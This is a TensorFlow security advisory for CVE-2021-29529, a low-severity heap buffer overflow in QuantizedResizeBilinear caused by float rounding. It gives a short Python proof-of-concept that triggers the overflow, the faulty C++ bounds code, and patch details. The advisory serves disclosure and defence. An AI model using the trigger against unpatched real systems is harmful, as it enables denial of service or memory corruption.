Heap buffer overflow caused by rounding

Low **mihaimaruseac** published **GHSA-jfp7-4j67-8r3q** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a heap buffer overflow in `tf.raw_ops.QuantizedResizeBilinear` by manipulating input values so that float rounding results in off-by-one error in accessing image elements:

```
import tensorflow as tf

l = [256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361, 384]
images = tf.constant(l, shape=[1, 1, 15, 1], dtype=tf.qint32)
size = tf.constant([12, 6], shape=[2], dtype=tf.int32)
min = tf.constant(80.2252273595703)
max = tf.constant(80.39215850830078)

tf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max,
                                   align_corners=True, half_pixel_centers=True)
```

This is because the implementation computes two integers (representing the upper and lower bounds for interpolation) by ceiling and flooring a floating point value:

```
const float in_f = std::floor(in);
interpolation->lower[i] = std::max(static_cast<int64>(in_f), static_cast<int64>(0));
interpolation->upper[i] = std::min(static_cast<int64>(std::ceil(in)), in_size - 1);
```

For some values of `in`, `interpolation->upper[i]` might be smaller than `interpolation->lower[i]`. This is an issue if `interpolation->upper[i]` is capped at `in_size-1` as it means that `interpolation->lower[i]` points outside of the image. Then, in the interpolation code, this would result in heap buffer overflow:

```
template <int RESOLUTION, typename T, typename T_SCALE, typename T_CALC>
inline void OutputLerpForChannels(const InterpolationCache<T_SCALE>& xs,
                                  const int64 x, const T_SCALE ys_ilerp,
                                  const int channels, const float min,
                                  const float max, const T* ys_input_lower_ptr,
                                  const T* ys_input_upper_ptr,
                                  T* output_y_ptr) {
  const int64 xs_lower = xs.lower[x];
  ...
  for (int c = 0; c < channels; ++c) {
    const T top_left = ys_input_lower_ptr[xs_lower + c];
    ...
  }
}
```

For the other cases where `interpolation->upper[i]` is smaller than `interpolation->lower[i]`, we can set them to be equal without affecting the output.

Patches

We have patched the issue in GitHub commit f851613f8f0fb0c838d160ced13c134f778e3ce7.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29529

Weaknesses

No CWEs